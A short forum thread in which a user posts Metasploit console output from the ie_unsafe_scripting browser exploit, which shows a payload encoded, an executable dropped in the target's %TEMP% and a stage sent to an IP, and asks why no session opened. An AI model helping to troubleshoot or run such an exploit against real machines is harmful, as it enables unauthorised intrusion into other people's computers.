Metasploit not succesefull?

[Fed0t]

Guys i get this output and when i type sessions i get "no active sessions".You think it was removed by Antivirus or OS its not compatible?!

[*] Request received from 78.96.157.206:49766...[*] Encoding payload into vbs/javascript/html...[*] Sending exploit html/javascript to 78.96.157.206:49766...[*] Exe will be etMCE.exe and must be manually removed from the %TEMP% directory on the target.[*] Sending stage (752128 bytes) to 46.217.10.249  (i dont know what ip is this )
sessions
 
Active sessions
===============
 
No active sessions.
 
msf  exploit(ie_unsafe_scripting) >

[sickness]

What do you mean "(i dont know what ip is this )" ?